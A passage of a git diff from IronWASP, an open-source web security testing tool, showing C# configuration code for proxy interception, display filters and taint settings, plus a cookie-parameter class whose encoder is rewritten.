Config.Path)); - Config.UserAgentsList = new Dictionary>(); - foreach (XmlNode CategoryNode in UAL.SelectNodes("useragentswitcher")[0].SelectNodes("folder")) - { - string CategoryName = CategoryNode.Attributes["description"].Value; - Dictionary CurrentCategoryList = new Dictionary(); - foreach (XmlNode UserAgentNode in CategoryNode.SelectNodes("useragent")) - { - try - { - string Name = UserAgentNode.Attributes["description"].Value; - string UserAgent = UserAgentNode.Attributes["useragent"].Value; - if (Name.Length > 0 && UserAgent.Length > 0) - CurrentCategoryList.Add(Name, UserAgent); - } - catch { } - } - foreach (XmlNode SubFolderNode in CategoryNode.SelectNodes("folder")) - { - foreach (XmlNode SubUserAgentNode in SubFolderNode.SelectNodes("useragent")) - { - try - { - string Name = SubUserAgentNode.Attributes["description"].Value; - string UserAgent = SubUserAgentNode.Attributes["useragent"].Value; - if (Name.Length > 0 && UserAgent.Length > 0) - CurrentCategoryList.Add(Name, UserAgent); - } - catch { } - } - } - if (CurrentCategoryList.Count > 0) - { - Config.UserAgentsList[CategoryName] = CurrentCategoryList; - } - } - } - catch { } - } - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using System.Reflection; +using System.IO; +using System.Windows.Forms; +using System.Xml; + +namespace IronWASP +{ + public class Config + { + internal static int ScanCount = 0; + internal static int ActiveScansCount = 0; + internal static int ProxyRequestsCount = 0; + internal static int TestRequestsCount = 0; + internal static int ScanRequestsCount = 0; + internal static int ShellRequestsCount = 0; + internal static int ProbeRequestsCount = 0; + internal static int StealthRequestsCount = 0; + internal static int PluginResultCount = 0; + internal static int ExceptionsCount = 0; + internal static int TraceCount = 0; + internal static int ScanTraceCount = 0; + internal static int SessionPluginTraceCount = 0; + internal static int WorkflowCount = 0; + + internal static Dictionary OtherSourceCounterDict = new Dictionary(); + + //internal static Dictionary APIResponseDict = new Dictionary(); + internal static bool OpeningIronProjectFile = false; + internal static string RootDir = ""; + internal static bool BlinkPrompt = true; + + public static Dictionary> UserAgentsList = new Dictionary>(); + + static Dictionary FiddlerFlags = new Dictionary(); + internal static bool HasFiddlerFlags = false; + + public static string Path + { + get + { + return RootDir; + } + } + + public static int LastProxyLogId + { + get + { + return ProxyRequestsCount; + } + } + + public static int LastProbeLogId + { + get + { + return ProbeRequestsCount; + } + } + public static int LastShellLogId + { + get + { + return ShellRequestsCount; + } + } + public static int LastScanLogId + { + get + { + return ScanRequestsCount; + } + } + public static int LastTestLogId + { + get + { + return TestRequestsCount; + } + } + public static int LastWorkflowId + { + get + { + return WorkflowCount; + } + } + internal static int LastScanTraceId + { + get + { + return ScanTraceCount; + } + } + + internal static bool IsSourcePresent(string Source) + { + if (OtherSourceCounterDict.ContainsKey(Source)) + return true; + else + return false; + } + + internal static List GetOtherSourceList() + { + return new List(OtherSourceCounterDict.Keys); + } + + internal static int GetNewId(string Source) + { + int Result = 0; + lock(OtherSourceCounterDict) + { + if (!OtherSourceCounterDict.ContainsKey(Source)) + OtherSourceCounterDict[Source] = 0; + OtherSourceCounterDict[Source]++; + Result = OtherSourceCounterDict[Source]; + } + return Result; + } + + public static int GetLastLogId(string Source) + { + switch (Source) + { + case("Proxy"): + return LastProxyLogId; + case ("Probe"): + return LastProbeLogId; + case ("Test"): + return LastTestLogId; + case ("Shell"): + return LastShellLogId; + case ("Scan"): + return LastScanLogId; + default: + if (OtherSourceCounterDict.ContainsKey(Source)) + return OtherSourceCounterDict[Source]; + else + throw new Exception(string.Format("No logs available for source - {0}", Source)); + } + + } + + public static void SetFiddlerFlag(string Name, string Value) + { + if (Name.Equals("x-overrideGateway")) + { + throw new Exception("'x-overrideGateway' can only be set by updating the Upstream Proxy setting in UI"); + } + lock (FiddlerFlags) + { + FiddlerFlags[Name] = Value; + HasFiddlerFlags = (FiddlerFlags.Count > 0); + } + } + + public static List ListFiddlerFlags() + { + lock (FiddlerFlags) + { + return new List(FiddlerFlags.Keys); + } + } + + public static string[,] GetFiddlerFlags() + { + lock (FiddlerFlags) + { + string[,] Flags = new string[FiddlerFlags.Count, 2]; + int Index = 0; + foreach (string Name in FiddlerFlags.Keys) + { + Flags[Index, 0] = Name; + Flags[Index, 1] = FiddlerFlags[Name]; + Index++; + } + return Flags; + } + } + + public static string GetFiddlerFlag(string Name) + { + lock (FiddlerFlags) + { + if (FiddlerFlags.ContainsKey(Name)) + return FiddlerFlags[Name]; + else + return ""; + } + } + + public static void RemoveFiddlerFlag(string Name) + { + lock(FiddlerFlags) + { + if (FiddlerFlags.ContainsKey(Name)) FiddlerFlags.Remove(Name); + HasFiddlerFlags = (FiddlerFlags.Count > 0); + } + } + + internal static void UpdateInterceptionRulesFromUI() + { + IronProxy.InterceptGET = IronUI.UI.ConfigRuleGETMethodCB.Checked; + IronProxy.InterceptPOST = IronUI.UI.ConfigRulePOSTMethodCB.Checked; + IronProxy.InterceptOtherMethods = IronUI.UI.ConfigRuleOtherMethodsCB.Checked; + IronProxy.Intercept200 = IronUI.UI.ConfigRuleCode200CB.Checked; + IronProxy.Intercept2xx = IronUI.UI.ConfigRuleCode2xxCB.Checked; + IronProxy.Intercept301_2 = IronUI.UI.ConfigRuleCode301_2CB.Checked; + IronProxy.Intercept3xx = IronUI.UI.ConfigRuleCode3xxCB.Checked; + IronProxy.Intercept403 = IronUI.UI.ConfigRuleCode403CB.Checked; + IronProxy.Intercept4xx = IronUI.UI.ConfigRuleCode4xxCB.Checked; + IronProxy.Intercept500 = IronUI.UI.ConfigRuleCode500CB.Checked; + IronProxy.Intercept5xx = IronUI.UI.ConfigRuleCode5xxCB.Checked; + IronProxy.InterceptHTML = IronUI.UI.ConfigRuleContentHTMLCB.Checked; + IronProxy.InterceptCSS = IronUI.UI.ConfigRuleContentCSSCB.Checked; + IronProxy.InterceptJS = IronUI.UI.ConfigRuleContentJSCB.Checked; + IronProxy.InterceptXML = IronUI.UI.ConfigRuleContentXMLCB.Checked; + IronProxy.InterceptJSON = IronUI.UI.ConfigRuleContentJSONCB.Checked; + IronProxy.InterceptOtherText = IronUI.UI.ConfigRuleContentOtherTextCB.Checked; + IronProxy.InterceptImg = IronUI.UI.ConfigRuleContentImgCB.Checked; + IronProxy.InterceptOtherBinary = IronUI.UI.ConfigRuleContentOtherBinaryCB.Checked; + IronProxy.InterceptCheckHostNames = IronUI.UI.ConfigRuleHostNamesCB.Checked; + IronProxy.InterceptCheckHostNamesPlus = IronUI.UI.ConfigRuleHostNamesPlusRB.Checked; + IronProxy.InterceptCheckHostNamesMinus = IronUI.UI.ConfigRuleHostNamesMinusRB.Checked; + if (IronProxy.InterceptCheckHostNames) + { + if (IronProxy.InterceptCheckHostNamesPlus) + { + string[] HostNames = IronUI.UI.ConfigRuleHostNamesPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); + lock (IronProxy.InterceptHostNames) + { + IronProxy.InterceptHostNames.Clear(); + IronProxy.InterceptHostNames.AddRange(HostNames); + } + } + if (IronProxy.InterceptCheckHostNamesMinus) + { + string[] HostNames = IronUI.UI.ConfigRuleHostNamesMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); + lock (IronProxy.DontInterceptHostNames) + { + IronProxy.DontInterceptHostNames.Clear(); + IronProxy.DontInterceptHostNames.AddRange(HostNames); + } + } + } + IronProxy.InterceptCheckFileExtensions = IronUI.UI.ConfigRuleFileExtensionsCB.Checked; + IronProxy.InterceptCheckFileExtensionsPlus = IronUI.UI.ConfigRuleFileExtensionsPlusRB.Checked; + IronProxy.InterceptCheckFileExtensionsMinus = IronUI.UI.ConfigRuleFileExtensionsMinusRB.Checked; + if (IronProxy.InterceptCheckFileExtensions) + { + if (IronProxy.InterceptCheckFileExtensionsPlus) + { + string[] FileExtensions = IronUI.UI.ConfigRuleFileExtensionsPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); + lock (IronProxy.InterceptFileExtensions) + { + IronProxy.InterceptFileExtensions.Clear(); + IronProxy.InterceptFileExtensions.AddRange(FileExtensions); + } + } + if (IronProxy.InterceptCheckFileExtensionsMinus) + { + string[] FileExtensions = IronUI.UI.ConfigRuleFileExtensionsMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); + lock (IronProxy.DontInterceptFileExtensions) + { + IronProxy.DontInterceptFileExtensions.Clear(); + IronProxy.DontInterceptFileExtensions.AddRange(FileExtensions); + } + } + } + IronProxy.InterceptCheckRequestWithKeyword = IronUI.UI.ConfigRuleKeywordInRequestCB.Checked; + IronProxy.InterceptCheckRequestWithKeywordPlus = IronUI.UI.ConfigRuleKeywordInRequestPlusRB.Checked; + IronProxy.InterceptCheckRequestWithKeywordMinus = IronUI.UI.ConfigRuleKeywordInRequestMinusRB.Checked; + if (IronProxy.InterceptCheckRequestWithKeyword) + { + if (IronProxy.InterceptCheckRequestWithKeywordPlus) + { + lock (IronProxy.InterceptRequestWithKeyword) + { + IronProxy.InterceptRequestWithKeyword = IronUI.UI.ConfigRuleKeywordInRequestPlusTB.Text; + } + } + if (IronProxy.InterceptCheckRequestWithKeywordMinus) + { + lock (IronProxy.DontInterceptRequestWithKeyword) + { + IronProxy.DontInterceptRequestWithKeyword = IronUI.UI.ConfigRuleKeywordInRequestMinusTB.Text; + } + } + } + IronProxy.InterceptCheckResponseWithKeyword = IronUI.UI.ConfigRuleKeywordInResponseCB.Checked; + IronProxy.InterceptCheckResponseWithKeywordPlus = IronUI.UI.ConfigRuleKeywordInResponsePlusRB.Checked; + IronProxy.InterceptCheckResponseWithKeywordMinus = IronUI.UI.ConfigRuleKeywordInResponseMinusRB.Checked; + if (IronProxy.InterceptCheckResponseWithKeyword) + { + if (IronProxy.InterceptCheckResponseWithKeywordPlus) + { + lock (IronProxy.InterceptResponseWithKeyword) + { + IronProxy.InterceptResponseWithKeyword = IronUI.UI.ConfigRuleKeywordInResponsePlusTB.Text; + } + } + if (IronProxy.InterceptCheckResponseWithKeywordMinus) + { + lock (IronProxy.DontInterceptResponseWithKeyword) + { + IronProxy.DontInterceptResponseWithKeyword = IronUI.UI.ConfigRuleKeywordInResponseMinusTB.Text; + } + } + } + + IronProxy.RequestRulesOnResponse = IronUI.UI.ConfigRuleRequestOnResponseRulesCB.Checked; + } + + internal static void UpdateProxyLogDisplayFilterFromUI() + { + IronProxy.DisplayGET = IronUI.UI.ConfigDisplayRuleGETMethodCB.Checked; + IronProxy.DisplayPOST = IronUI.UI.ConfigDisplayRulePOSTMethodCB.Checked; + IronProxy.DisplayOtherMethods = IronUI.UI.ConfigDisplayRuleOtherMethodsCB.Checked; + IronProxy.Display200 = IronUI.UI.ConfigDisplayRuleCode200CB.Checked; + IronProxy.Display2xx = IronUI.UI.ConfigDisplayRuleCode2xxCB.Checked; + IronProxy.Display301_2 = IronUI.UI.ConfigDisplayRuleCode301_2CB.Checked; + IronProxy.Display3xx = IronUI.UI.ConfigDisplayRuleCode3xxCB.Checked; + IronProxy.Display403 = IronUI.UI.ConfigDisplayRuleCode403CB.Checked; + IronProxy.Display4xx = IronUI.UI.ConfigDisplayRuleCode4xxCB.Checked; + IronProxy.Display500 = IronUI.UI.ConfigDisplayRuleCode500CB.Checked; + IronProxy.Display5xx = IronUI.UI.ConfigDisplayRuleCode5xxCB.Checked; + IronProxy.DisplayHTML = IronUI.UI.ConfigDisplayRuleContentHTMLCB.Checked; + IronProxy.DisplayCSS = IronUI.UI.ConfigDisplayRuleContentCSSCB.Checked; + IronProxy.DisplayJS = IronUI.UI.ConfigDisplayRuleContentJSCB.Checked; + IronProxy.DisplayXML = IronUI.UI.ConfigDisplayRuleContentXMLCB.Checked; + IronProxy.DisplayJSON = IronUI.UI.ConfigDisplayRuleContentJSONCB.Checked; + IronProxy.DisplayOtherText = IronUI.UI.ConfigDisplayRuleContentOtherTextCB.Checked; + IronProxy.DisplayImg = IronUI.UI.ConfigDisplayRuleContentImgCB.Checked; + IronProxy.DisplayOtherBinary = IronUI.UI.ConfigDisplayRuleContentOtherBinaryCB.Checked; + IronProxy.DisplayCheckHostNames = IronUI.UI.ConfigDisplayRuleHostNamesCB.Checked; + IronProxy.DisplayCheckHostNamesPlus = IronUI.UI.ConfigDisplayRuleHostNamesPlusRB.Checked; + IronProxy.DisplayCheckHostNamesMinus = IronUI.UI.ConfigDisplayRuleHostNamesMinusRB.Checked; + if (IronProxy.DisplayCheckHostNames) + { + if (IronProxy.DisplayCheckHostNamesPlus) + { + string[] HostNames = IronUI.UI.ConfigDisplayRuleHostNamesPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); + lock (IronProxy.DisplayHostNames) + { + IronProxy.DisplayHostNames.Clear(); + IronProxy.DisplayHostNames.AddRange(HostNames); + } + } + if (IronProxy.DisplayCheckHostNamesMinus) + { + string[] HostNames = IronUI.UI.ConfigDisplayRuleHostNamesMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); + lock (IronProxy.DontDisplayHostNames) + { + IronProxy.DontDisplayHostNames.Clear(); + IronProxy.DontDisplayHostNames.AddRange(HostNames); + } + } + } + IronProxy.DisplayCheckFileExtensions = IronUI.UI.ConfigDisplayRuleFileExtensionsCB.Checked; + IronProxy.DisplayCheckFileExtensionsPlus = IronUI.UI.ConfigDisplayRuleFileExtensionsPlusRB.Checked; + IronProxy.DisplayCheckFileExtensionsMinus = IronUI.UI.ConfigDisplayRuleFileExtensionsMinusRB.Checked; + if (IronProxy.DisplayCheckFileExtensions) + { + if (IronProxy.DisplayCheckFileExtensionsPlus) + { + string[] FileExtensions = IronUI.UI.ConfigDisplayRuleFileExtensionsPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); + lock (IronProxy.DisplayFileExtensions) + { + IronProxy.DisplayFileExtensions.Clear(); + IronProxy.DisplayFileExtensions.AddRange(FileExtensions); + } + } + if (IronProxy.DisplayCheckFileExtensionsMinus) + { + string[] FileExtensions = IronUI.UI.ConfigDisplayRuleFileExtensionsMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); + lock (IronProxy.DontDisplayFileExtensions) + { + IronProxy.DontDisplayFileExtensions.Clear(); + IronProxy.DontDisplayFileExtensions.AddRange(FileExtensions); + } + } + } + IronUI.UpdateProxyLogBasedOnDisplayFilter(); + } + + internal static void UpdateJSTaintConfigFromUI() + { + List SourceObjects = new List(); + List SinkObjects = new List(); + List SourceReturningMethods = new List() { }; + List SinkReturningMethods = new List() { }; + List ArgumentReturningMethods = new List() { }; + List ArgumentAssignedToSinkMethods = new List(); + List ArgumentAssignedASourceMethods = new List() { }; + + foreach (DataGridViewRow Row in IronUI.UI.ConfigDefaultJSTaintConfigGrid.Rows) + { + if (Row == null) continue; + if (Row.Cells == null) continue; + if (Row.Cells.Count < 7) continue; + if (Row.Cells["ConfigDefaultSourceObjectsColumn"].Value != null) + { + string SourceObject = Row.Cells["ConfigDefaultSourceObjectsColumn"].Value.ToString().Trim(); + if (SourceObject.Length > 0) SourceObjects.Add(SourceObject); + } + if (Row.Cells["ConfigDefaultSinkObjectsColumn"].Value != null) + { + string SinkObject = Row.Cells["ConfigDefaultSinkObjectsColumn"].Value.ToString().Trim(); + if (SinkObject.Length > 0) SinkObjects.Add(SinkObject); + } + if (Row.Cells["ConfigDefaultArgumentAssignedASourceMethodsColumn"].Value != null) + { + string ArgumentAssignedASourceMethod = Row.Cells["ConfigDefaultArgumentAssignedASourceMethodsColumn"].Value.ToString().Trim(); + if (ArgumentAssignedASourceMethod.Length > 0) ArgumentAssignedASourceMethods.Add(ArgumentAssignedASourceMethod); + } + if (Row.Cells["ConfigDefaultArgumentAssignedToSinkMethodsColumn"].Value != null) + { + string ArgumentAssignedToSinkMethod = Row.Cells["ConfigDefaultArgumentAssignedToSinkMethodsColumn"].Value.ToString().Trim(); + if (ArgumentAssignedToSinkMethod.Length > 0) ArgumentAssignedToSinkMethods.Add(ArgumentAssignedToSinkMethod); + } + if (Row.Cells["ConfigDefaultSourceReturningMethodsColumn"].Value != null) + { + string SourceReturningMethod = Row.Cells["ConfigDefaultSourceReturningMethodsColumn"].Value.ToString().Trim(); + if (SourceReturningMethod.Length > 0) SourceReturningMethods.Add(SourceReturningMethod); + } + if (Row.Cells["ConfigDefaultSinkReturningMethodsColumn"].Value != null) + { + string SinkReturningMethod = Row.Cells["ConfigDefaultSinkReturningMethodsColumn"].Value.ToString().Trim(); + if (SinkReturningMethod.Length > 0) SinkReturningMethods.Add(SinkReturningMethod); + } + if (Row.Cells["ConfigDefaultArgumentReturningMethodsColumn"].Value != null) + { + string ArgumentReturningMethod = Row.Cells["ConfigDefaultArgumentReturningMethodsColumn"].Value.ToString().Trim(); + if (ArgumentReturningMethod.Length > 0) ArgumentReturningMethods.Add(ArgumentReturningMethod); + } + } + lock (IronJint.DefaultSourceObjects) + { + IronJint.DefaultSourceObjects = new List(SourceObjects); + } + lock (IronJint.DefaultSinkObjects) + { + IronJint.DefaultSinkObjects = new List(SinkObjects); + } + lock (IronJint.DefaultArgumentAssignedASourceMethods) + { + IronJint.DefaultArgumentAssignedASourceMethods = new List(ArgumentAssignedASourceMethods); + } + lock (IronJint.DefaultArgumentAssignedToSinkMethods) + { + IronJint.DefaultArgumentAssignedToSinkMethods = new List(ArgumentAssignedToSinkMethods); + } + lock (IronJint.DefaultSourceReturningMethods) + { + IronJint.DefaultSourceReturningMethods = new List(SourceReturningMethods); + } + lock (IronJint.DefaultSinkReturningMethods) + { + IronJint.DefaultSinkReturningMethods = new List(SinkReturningMethods); + } + lock (IronJint.DefaultArgumentReturningMethods) + { + IronJint.DefaultArgumentReturningMethods = new List(ArgumentReturningMethods); + } + } + + internal static void UpdateScannerSettingsFromUI() + { + Scanner.MaxParallelScanCount = IronUI.UI.ConfigScannerThreadMaxCountTB.Value; + } + + internal static void UpdatePassiveAnalysisSettingsFromUI() + { + PassiveChecker.RunOnProxyTraffic = IronUI.UI.ConfigPassiveAnalysisOnProxyTrafficCB.Checked; + PassiveChecker.RunOnShellTraffic = IronUI.UI.ConfigPassiveAnalysisOnShellTrafficCB.Checked; + PassiveChecker.RunOnTestTraffic = IronUI.UI.ConfigPassiveAnalysisOnTestTrafficCB.Checked; + PassiveChecker.RunOnScanTraffic = IronUI.UI.ConfigPassiveAnalysisOnScanTrafficCB.Checked; + PassiveChecker.RunOnProbeTraffic = IronUI.UI.ConfigPassiveAnalysisOnProbeTrafficCB.Checked; + } + + internal static void SetRootDir() + { + Assembly MainAssembly = Assembly.GetExecutingAssembly(); + RootDir = Directory.GetParent(MainAssembly.Location).FullName; + } + + internal static void ReadUserAgentsList() + { + try + { + XmlDocument UAL = new XmlDocument(); + UAL.XmlResolver = null; + UAL.Load(string.Format("{0}//useragentswitcher.xml", Config.Path)); + Config.UserAgentsList = new Dictionary>(); + foreach (XmlNode CategoryNode in UAL.SelectNodes("useragentswitcher")[0].SelectNodes("folder")) + { + string CategoryName = CategoryNode.Attributes["description"].Value; + Dictionary CurrentCategoryList = new Dictionary(); + foreach (XmlNode UserAgentNode in CategoryNode.SelectNodes("useragent")) + { + try + { + string Name = UserAgentNode.Attributes["description"].Value; + string UserAgent = UserAgentNode.Attributes["useragent"].Value; + if (Name.Length > 0 && UserAgent.Length > 0) + CurrentCategoryList.Add(Name, UserAgent); + } + catch { } + } + foreach (XmlNode SubFolderNode in CategoryNode.SelectNodes("folder")) + { + foreach (XmlNode SubUserAgentNode in SubFolderNode.SelectNodes("useragent")) + { + try + { + string Name = SubUserAgentNode.Attributes["description"].Value; + string UserAgent = SubUserAgentNode.Attributes["useragent"].Value; + if (Name.Length > 0 && UserAgent.Length > 0) + CurrentCategoryList.Add(Name, UserAgent); + } + catch { } + } + } + if (CurrentCategoryList.Count > 0) + { + Config.UserAgentsList[CategoryName] = CurrentCategoryList; + } + } + } + catch { } + } + } } \ No newline at end of file diff --git a/IronWASP/CookieParameters.cs b/Iron/CookieParameters.cs similarity index 80% rename from IronWASP/CookieParameters.cs rename to Iron/CookieParameters.cs index 9224e85..e9f6a87 100644 --- a/IronWASP/CookieParameters.cs +++ b/Iron/CookieParameters.cs @@ -1,221 +1,257 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class CookieParameters : Parameters - { - Request Request; - - internal CookieParameters(Request Request) : base() - { - this.Request = Request; - } - internal CookieParameters(Request Request, string CookieString) : base() - { - this.Request = Request; - this.GetParametersFromString(CookieString); - } - - //Set method - new public void RawSet(string Name, string Value) - { - //base.Set(SafeRaw(Name), SafeRaw(Value)); - base.RawSet(Name, Value, SafeRaw, Encode, Decode); - this.ProcessUpdate(); - } - new public void Set(string Name, string Value) - { - this.RawSet(Encode(Name), Encode(Value)); - } - - //Set at method - new public void RawSet(string Name, int Position, string Value) - { - //base.Set(SafeRaw(Name), Position, SafeRaw(Value)); - base.RawSet(Name, Position, Value, SafeRaw, Encode, Decode); - this.ProcessUpdate(); - } - new public void Set(string Name, int Position, string Value) - { - this.RawSet(Encode(Name), Position, Encode(Value)); - } - new public void RawSetAt(string Name, int Position, string Value) - { - this.RawSet(Name, Position, Value); - } - new public void SetAt(string Name, int Position, string Value) - { - this.Set(Name, Position, Value); - } - - //Set multi method - new public void RawSet(string Name, List Values) - { - //List Vals = new List(); - //foreach (string Value in Values) - //{ - // Vals.Add(SafeRaw(Value)); - //} - //base.Set(SafeRaw(Name), Vals); - base.RawSet(Name, Values, SafeRaw, Encode, Decode); - this.ProcessUpdate(); - } - new public void Set(string Name, List Values) - { - List Vals = new List(); - foreach (string Value in Values) - { - Vals.Add(Encode(Value)); - } - this.RawSet(Encode(Name), Vals); - } - - //Add method - new public void RawAdd(string Name, string Value) - { - //base.Add(SafeRaw(Name), SafeRaw(Value)); - base.RawAdd(Name, Value, SafeRaw, Encode, Decode); - this.ProcessUpdate(); - } - new public void Add(string Name, string Value) - { - this.RawAdd(Encode(Name), Encode(Value)); - } - - //Remove method - new public void RawRemove(string Name) - { - //base.Remove(SafeRaw(Name)); - base.RawRemove(Name, SafeRaw, Encode, Decode); - this.ProcessUpdate(); - } - new public void Remove(string Name) - { - this.RawRemove(Encode(Name)); - } - - new public void RemoveAll() - { - base.RemoveAll(); - this.ProcessUpdate(); - } - - //Has method - new public bool RawHas(string Name) - { - //return base.Has(SafeRaw(Name)); - return base.RawHas(Name, SafeRaw, Encode, Decode); - } - new public bool Has(string Name) - { - return this.RawHas(Encode(Name)); - } - - //Get method - new public string RawGet(string Name) - { - //return base.Get(SafeRaw(Name)); - return base.RawGet(Name, SafeRaw, Encode, Decode); - } - new public string Get(string Name) - { - return Decode(this.RawGet(Encode(Name))); - } - - //GetAll method - new public List RawGetAll(string Name) - { - //return base.GetAll(SafeRaw(Name)); - return base.RawGetAll(Name, SafeRaw, Encode, Decode); - } - new public List GetAll(string Name) - { - List Values = this.RawGetAll(Encode(Name)); - for (int i = 0; i < Values.Count; i++) - { - Values[i] = Decode(Values[i]); - } - return Values; - } - - public List RawGetNames() - { - return base.GetNames(); - } - new public List GetNames() - { - List Values = this.RawGetNames(); - for (int i = 0; i < Values.Count; i++) - { - Values[i] = Decode(Values[i]); - } - return Values; - } - - new public List RawGetMultis() - { - return base.RawGetMultis(); - } - new public List GetMultis() - { - List Values = this.RawGetMultis(); - for (int i = 0; i < Values.Count; i++) - { - Values[i] = Decode(Values[i]); - } - return Values; - } - - internal string GetCookieStringFromParameters() - { - char Joiner = ';'; - return this.GetStringFromParameters(Joiner); - } - internal void GetParametersFromString(string CookieString) - { - char Splitter = ';'; - this.AbsorbParametersFromString(CookieString, Splitter); - } - void ProcessUpdate() - { - if (this.Request.FreezeCookieString) return; - if (this.Request.FreezeCookieHeader) return; - this.Request.SetCookieWithoutUpdatingParameters(this.GetCookieStringFromParameters()); - } - - internal static string Encode(string Value) - { - return Tools.UrlEncode(Value); - } - - internal static string Decode(string Value) - { - return Tools.UrlDecode(Value); - } - - internal static string SafeRaw(string Value) - { - return Tools.RelaxedCookieEncode(Value); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class CookieParameters : Parameters + { + Request Request; + + internal CookieParameters(Request Request) : base() + { + this.Request = Request; + } + internal CookieParameters(Request Request, string CookieString) : base() + { + this.Request = Request; + this.GetParametersFromString(CookieString); + } + + //Set method + new public void RawSet(string Name, string Value) + { + //base.Set(SafeRaw(Name), SafeRaw(Value)); + base.RawSet(Name, Value, SafeRaw, Encode, Decode); + this.ProcessUpdate(); + } + new public void Set(string Name, string Value) + { + this.RawSet(Encode(Name), Encode(Value)); + } + + //Set at method + new public void RawSet(string Name, int Position, string Value) + { + //base.Set(SafeRaw(Name), Position, SafeRaw(Value)); + base.RawSet(Name, Position, Value, SafeRaw, Encode, Decode); + this.ProcessUpdate(); + } + new public void Set(string Name, int Position, string Value) + { + this.RawSet(Encode(Name), Position, Encode(Value)); + } + new public void RawSetAt(string Name, int Position, string Value) + { + this.RawSet(Name, Position, Value); + } + new public void SetAt(string Name, int Position, string Value) + { + this.Set(Name, Position, Value); + } + + //Set multi method + new public void RawSet(string Name, List Values) + { + //List Vals = new List(); + //foreach (string Value in Values) + //{ + // Vals.Add(SafeRaw(Value)); + //} + //base.Set(SafeRaw(Name), Vals); + base.RawSet(Name, Values, SafeRaw, Encode, Decode); + this.ProcessUpdate(); + } + new public void Set(string Name, List Values) + { + List Vals = new List(); + foreach (string Value in Values) + { + Vals.Add(Encode(Value)); + } + this.RawSet(Encode(Name), Vals); + } + + //Add method + new public void RawAdd(string Name, string Value) + { + //base.Add(SafeRaw(Name), SafeRaw(Value)); + base.RawAdd(Name, Value, SafeRaw, Encode, Decode); + this.ProcessUpdate(); + } + new public void Add(string Name, string Value) + { + this.RawAdd(Encode(Name), Encode(Value)); + } + + //Remove method + new public void RawRemove(string Name) + { + //base.Remove(SafeRaw(Name)); + base.RawRemove(Name, SafeRaw, Encode, Decode); + this.ProcessUpdate(); + } + new public void Remove(string Name) + { + this.RawRemove(Encode(Name)); + } + + new public void RemoveAll() + { + base.RemoveAll(); + this.ProcessUpdate(); + } + + //Has method + new public bool RawHas(string Name) + { + //return base.Has(SafeRaw(Name)); + return base.RawHas(Name, SafeRaw, Encode, Decode); + } + new public bool Has(string Name) + { + return this.RawHas(Encode(Name)); + } + + //Get method + new public string RawGet(string Name) + { + //return base.Get(SafeRaw(Name)); + return base.RawGet(Name, SafeRaw, Encode, Decode); + } + new public string Get(string Name) + { + return Decode(this.RawGet(Encode(Name))); + } + + //GetAll method + new public List RawGetAll(string Name) + { + //return base.GetAll(SafeRaw(Name)); + return base.RawGetAll(Name, SafeRaw, Encode, Decode); + } + new public List GetAll(string Name) + { + List Values = this.RawGetAll(Encode(Name)); + for (int i = 0; i < Values.Count; i++) + { + Values[i] = Decode(Values[i]); + } + return Values; + } + + public List RawGetNames() + { + return base.GetNames(); + } + new public List GetNames() + { + List Values = this.RawGetNames(); + for (int i = 0; i < Values.Count; i++) + { + Values[i] = Decode(Values[i]); + } + return Values; + } + + new public List RawGetMultis() + { + return base.RawGetMultis(); + } + new public List GetMultis() + { + List Values = this.RawGetMultis(); + for (int i = 0; i < Values.Count; i++) + { + Values[i] = Decode(Values[i]); + } + return Values; + } + + internal string GetCookieStringFromParameters() + { + char Joiner = ';'; + return this.GetStringFromParameters(Joiner); + } + internal void GetParametersFromString(string CookieString) + { + char Splitter = ';'; + this.AbsorbParametersFromString(CookieString, Splitter); + } + void ProcessUpdate() + { + if (this.Request.FreezeCookieString) return; + if (this.Request.FreezeCookieHeader) return; + this.Request.SetCookieWithoutUpdatingParameters(this.GetCookieStringFromParameters()); + } + + internal static string Encode(string Value) + { + //return Tools.UrlEncode(Value); + StringBuilder SB = new StringBuilder(); + for (int i = 0; i < Value.Length; i++) + { + switch (Value[i]) + { + case '=': + SB.Append("%3d"); + break; + case ' ': + SB.Append("%20"); + break; + case ';': + SB.Append("%3b"); + break; + case ',': + SB.Append("%2c"); + break; + case '\r': + SB.Append("%0d"); + break; + case '\n': + SB.Append("%0a"); + break; + case '\t': + SB.Append("%09"); + break; + case '\0': + SB.Append("%00"); + break; + default: + SB.Append(Value[i]); + break; + } + } + return SB.ToString(); + } + + internal static string 